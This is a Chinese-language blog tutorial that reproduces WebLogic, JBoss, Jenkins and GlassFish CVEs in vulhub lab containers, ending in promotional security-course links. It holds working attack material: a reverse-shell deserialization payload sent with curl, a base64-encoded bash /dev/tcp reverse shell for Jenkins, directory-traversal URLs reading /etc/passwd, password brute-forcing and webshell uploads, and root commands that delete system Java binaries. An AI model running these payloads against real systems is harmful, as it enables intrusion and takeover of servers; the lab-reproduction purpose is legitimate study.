文章仅供学习交流,一些漏洞没能复现出来(菜就多练),日后来兴趣再补坑(大概~)
视频链接:
目录
一、知识点
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
2、中间件安全测试流程
3、应用服务安全测试流程
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
(1) CVE-2017-3506 远程代码执行漏洞
(2)CVE-2018-2893 反序列化漏洞
(3)CVE-2018-3245 远程代码执行漏洞
(4)CVE-2020-14882 未授权命令执行漏洞
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
2、中间件-JBoos-CVE&弱口令
(1)CVE-2017-12149 反序列化远程代码执行漏洞
(2)CVE-2017-7504 反序列化命令执行漏洞
(3)弱口令 未授权访问
3、中间件-Jenkins-CVE
(1)CVE-2017-1000353 远程代码执行漏洞
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)
(3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)
4、中间件-GlassFish-CVE
(1)CVE-2017-1000028 任意文件读取漏洞
(2)简单口令&Getshell (getshell失败)
四、总结
相关工具下载
链接:https://pan.baidu.com/s/1BcDQ1c1kt4M0JChMQLoH1Q
提取码:idoa
一、知识点
中间件及框架列表:
IIS , Apache , Nginx , Tomcat , Docker , Weblogic , JBoos , WebSphere ,
Jenkins , GlassFish , Jira , Struts2 , Laravel , Solr , Shiro , Thinkphp ,
Spring , Flask , jQuery 等
本节课程涉及以下中间件案例演示:
1、中间件-Weblogic-CVE
2、中间件-JBoos-CVE
3、中间件-Jenkins-CVE
4、中间件-GlassFish-CVE
二、章节内容
1、常见中间件的安全测试
(1)配置不当-解析&弱口令
(2)安全机制-特定安全漏洞
(3)安全机制-弱口令爆破攻击
(4)安全应用-框架特定安全漏洞
2、中间件安全测试流程
(1)判断中间件信息-名称&版本&三方
(2)判断中间件问题-配置不当&公开漏洞
(3)判断中间件利用-弱口令&EXP&框架漏洞
3、应用服务安全测试流程
(1)判断服务开放情况-端口扫描&组合应用等
(2)判断服务类型归属-数据库&文件传输&通讯等
(3)判断服务利用方式-特定漏洞&未授权&弱口令等
三、案例演示
1、中间件-Weblogic-CVE&反序列化&远程执行
简介:Weblogic 是 Oracle 公司推出的一个基于JAVAEE架构的中间件,能为JAVA程序提供开发、集成、部署和管理等功能。
注:由于下面的几个漏洞大部分可直接用集成工具一键探测并利用,因此下面只介绍漏洞详情,就不复现了,下载链接如下:
WeblogicTool-
GUI漏洞利用工具,支持漏洞检测、命令执行、内存马注入、密码解密等
此工具需要在java8环境下运行,检查java版本
java -version
版本一致后,解压下载工具的压缩包,在此目录打开cmd,输入命令即可打开GUI界面(若不慎关掉cmd界面会退出程序)
java -jar WeblogicTool_1.3.jar
详细使用教程在下载链接中有,可自行研究
(1) CVE-2017-3506 远程代码执行漏洞
简介:
Weblogic的WLS Security组件对外提供webservice服务
,里面的XMLDecoder是用来解析用户传入的数据,解析的过程中,由于其中的WorkContextXmlInputAdapter类没有限制传入的数据,会出现反序列化漏洞,导致可执行任意命令,因此可被攻击者构造恶意代码拿到权限。
影响版本:
OracleWebLogic Server10.3.6.0.0
OracleWebLogic Server12.1.3.0.0
OracleWebLogic Server12.2.1.1.0
OracleWebLogic Server12.2.1.2.0
判断方法:
访问以下目录,页面有返回服务信息则说明或许存在漏洞
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11/wls-wsat/RegistrationRequesterPortType11
(2)CVE-2018-2893 反序列化漏洞
简介:
此漏洞产生于WebLogic T3服务,T3协议在WebLogic
Server和客户端间承当传输数据和通信作用,Weblogic开放端口后T3会默认开启,WebLogic服务存在的漏洞允许未经身份验证的攻击者通过T3获得服务器权限。
影响版本:
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.2
WebLogic 12.2.1.3
(3)CVE-2018-3245 远程代码执行漏洞
简介:
该漏洞和CVE-2018-2893类似,通过JRMP协议利用RMI机制的缺陷,进行远程代码执行漏洞的利用。攻击者可构造恶意代码并通过T3进行反序列化实现远程代码执行获取系统权限。
影响版本:
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.3
判断方法:
(4)CVE-2020-14882 未授权命令执行漏洞
简介:
此漏洞可被未经身份验证的攻击者通过构造特殊的GET请求进行攻击,
影响版本:
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
WeblogicTool可以识别存在漏洞,但是利用这块用不了,尝试手工复现下
打开vulhub,进入/weblogic/CVE-2020-14882,启动容器
打开访问界面http://192.168.190.153:7001/console
输入poc,可直接进入后台,说明存在漏洞
下载shell脚本,执行命令
About
CVE-2020-14882_ALL综合利用工具,支持命令回显检测、批量命令回显、外置xml无回显命令执行等功能
(5)CVE-2021-2394 反序列化漏洞 (复现失败)
简介:
此为WebLogic组件存在高危漏洞,漏洞主要是FilterExtractor的readExternal方法使用不当,使得生成
MethodAttributeAccessor的时候不会受到黑名单的限制。成功利用该漏洞的攻击者可以获取WebLogic Server管理权限。
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
这里用vulhub的CVE-2020-14882的漏洞环境来代替(版本一致)
复现失败,poc运行报错╮(╯▽╰)╭
2、中间件-JBoos-CVE&弱口令
简介:
Jboss 通常占用的端口是 1098,1099,4444,4445,8080,8009,8083,8093 这
几个,Red Hat JBoss Application Server 是一款基于 JavaEE 的开源应用服务器。
(1)CVE-2017-12149 反序列化远程代码执行漏洞
简介:
JBOSS Application Server是一个基于JE22的开放源代码的应用服务器,在这个漏洞中,发现 HTTP Invoker 的
ReadOnlyAccessFilter 中的 doFilter
方法不限制它执行反序列化的类,因此允许攻击者通过构建特殊的的序列化数据执行任意代码,无需用户验证即可获得服务器的控制权。
影响版本:
5.x和6.x版本的JBOSSAS
打开vulhub,进入/jboss/CVE-2017-12149,启动容器,访问url
访问/invoker/readonly,若出现500状态码说明存在漏洞
在kali下载利用利用工具,下载链接-github
按照要求替换Java版本为1.8.0_20,以root在kali运行以下命令,该命令是下载Java压缩包解压并替换本地Java包过程
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
java version "1.8.0_20"
版本替换好后,进入前边git下载的文件目录,编译和执行应用程序
javac VulnerableHTTPServer.java -XDignore.symbol.file
java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
编译一个ser文件,填写ip和端口信息
//编译 example1,该示例适用于类路径中具有 commons-collections3.2.1 和 JRE < 8u72 的应用程序
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成ser文件。以下192.168.190.140是攻击机ip,4444是要监听的端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.192:4444
kali监听4444端口,同时使用curl反弹shell,可以看到反弹成功
curl http://192.168.190.153:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
(2)CVE-2017-7504 反序列化命令执行漏洞
简介:
Jboss AS 4.X及之前的版本中的JbossMQ实现过程的JMS over HTTP Invocation
Layer的HTTPServerILServlet.java文件存在安全漏洞。远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
影响版本:
JBoss AS<=4.x
打开vulhub,进入/jboss/CVE-2017-7504,启动容器,访问url
访问/jbossmq-httpil/HTTPServerILServlet,能成功访问并出现以下页面说明存在漏洞
![](https://img-
blog.csdnimg.cn/direct/d7b5cc54b52944e096fc4fc3146d8cc4.png)
和CVE-2017-12149反序列化漏洞利用过程一样,使用curl反弹shell,有回显即为成功
(3)弱口令 未授权访问
简介:
部署jboss时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。
影响版本:
全版本
上边打开的CVE漏洞靶场可以直接用来复现,这里以CVE-2017-7504为例
访问/jmx-console/,显示输入账密,尝试默认密码:admin/admin,可进入后台
找到deployment(部署界面),进入找到void addurl()添加文件,在ParamValue下输入打包好的一句话木马文件
这里上传的一句话木马可以用godzilla生成,然后再压缩修改后缀为war,和上节课思路一样,传送门:第59天-服务攻防-中间件安全&CVE
复现&IIS&Apache&Tomcat&Nginx
打开kali的nginx,将shell.war放入网站目录(路径/var/www/html)
写入url访问路径,点击Invoke,跳转到上传成功界面,可以在后台主页查看是否上传成功
访问/shell/目录,可看到上传的文件,用godzilla成功连接
注
复现这里有一些问题说一下,首先,假如使用默认密码登录失败,想要批量测试其它弱口令,可以尝试用burpsuite爆破密码。由抓包可见账密传输使用base64编码且为admin:admin格式,只要字典给力爆破不在话下
其次,实测用蚁剑和自制的一句话木马是连接不上的,可以用godzilla或者冰蝎代替,个人更推荐godzilla因为提供生成一句话木马功能
3、中间件-Jenkins-CVE
简介:
Jenkins 是一个用 Java 编写的开源自动化工具,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。默认端口:8080
(1)CVE-2017-1000353 远程代码执行漏洞
简介:
该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。
影响版本:
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响(包括<=2.46.1版本)
打开vulhub,进入/Jenkins/CVE-2017-1000353,启动容器,访问url
下载好payload生成工具,下载链接(注意,需下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar和exploit.py两个文件)
在当前页面打开cmd,输入以下命令,kali开启端口监听
//生成序列化字符串poc.ser,这里反弹shell命令需要用base编码
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xNDAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"
//给靶机发送数据包,执行命令
python exploit.py http://192.168.190.153:8080 poc.ser
注意,实测java版本需要1.8.0_291才行,否则反弹不了shell
反弹成功
(2)CVE-2018-1000861 远程命令执行漏洞 (未完成)
简介:
jenkins使用Stapler开发,在stapler/core/src/main/java/org/kohsuke/stapler/MetaClass.java
中使用的 Stapler Web 框架中存在一个代码执行漏洞,该漏洞允许攻击者通过访问构建特殊的 URL 来调用 Java 对象上的某些方法获取权限。
影响版本:
Jenkins主版本 <= 2.153
Jenkins LTS版本 <= 2.138.3
整半天复现的脚本运行不了,学习思路后暂时放弃╮(╯_╰)╭
(3)CVE-2019-100300 远程代码执行漏洞(条件苛刻)
简介:
在src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/GroovySandbox.java
中存在一个沙盒绕过漏洞,该漏洞允许能提供沙盒脚本的攻击者在 Jenkins master JVM 上执行任意代码。
影响版本:
Pipeline: Declarative 插件 <= 1.3.4
Pipeline: Groovy 插 件 <= 2.61
Script Security 插 件 <= 1.49
该漏洞需要提前知道管理员用户账号和密码才能进行利用,利用价值不高
4、中间件-GlassFish-CVE
简介:
GlassFish
是一款强健的商业兼应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。默认端口为4848。
(1)CVE-2017-1000028 任意文件读取漏洞
简介:
Oracle 的 GlassFish Server Open Source Edition 4.1
容易受到经过身份验证和未经身份验证的目录遍历漏洞的攻击,可以通过发出特制的 HTTP GET 请求来利用该漏洞。
影响版本:
GlassFish <= 4.1.2
打开vulhub,进入/glassfish/4.1.0/目录启动容器,访问http://192.168.190.153:4848
访问以下url,可得到靶机为linux或windows下的账号密码存储位置。java中会把%c0%ae解析为\uC0AE后转义为字符.(点),
所以可以利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/向上跳转目录,达到目录穿越读取任意文件的效果。
linux(相当于访问/theme/META_INF/…/…/…/…/…/…/…/…/…/…/windows/win.ini):
[https://192.168.190.153:4848/theme/META-
INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd](https://192.168.190.153:4848/theme/META-
INF/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd
“https://192.168.190.153:4848/theme/META-
INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd”)
windows(相当于访问/theme/META_INF/…/…/…/…/…/…/…/…/…/…/etc/passwd):[https://192.168.190.153:4848/theme/META-
INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini](https://192.168.190.153:4848/theme/META-
INF/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/windows/win.ini
“https://192.168.190.153:4848/theme/META-
INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini”)
(2)简单口令&Getshell (getshell失败)
简介:
部署Glassfish时管理员有时会忽略修改密码导致弱口令,又或者无密码可以直接访问后台导致未授权访问。
影响版本:
全版本
上面的vulhub环境保留,访问url是一个登录界面,因此我们可以用bp爆破密码,抓包添加到intruder,导入字典批量爆破
可以看到爆破后有一个页面状态码和字符串长度不一样,尝试该账密可以成功登录后台
点击左边的Applications后点击Deploy,这里有文件上传路径点,上传godzilla生成的jsp文件压缩改为war后缀,
看其他复现博客这里需要访问https://192.168.190.153:8080/shell/shell.jsp,但是我这访问不了也没报错,网上也没有这种情况的解析,只好就此作罢
一般的话,这里能访问到直接godzilla连接即可
http://192.168.190.153:8080/[Context Root]/[war包内的filename]
四、总结
这节课也是以CVE漏洞复现为主,复现了一些比较常见的中间件漏洞。有一说一漏洞复现非常艰难,大体上都是环境配置问题。好在复现成功后非常有成就感,也能在不知不觉中提高动手能力。
学习网络安全技术的方法无非三种:
第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。
第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!
第三种就是去找培训。
接下来,我会教你零基础入门快速入门上手网络安全。
网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。
第一阶段:基础准备 4周~6周
这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
第二阶段:web渗透
学习基础 时间:1周 ~ 2周:
① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
配置渗透环境 时间:3周 ~ 4周:
① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。
渗透实战操作 时间:约6周:
① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
以上就是入门阶段
第三阶段:进阶
已经入门并且找到工作之后又该怎么进阶?详情看下图
给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!
如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!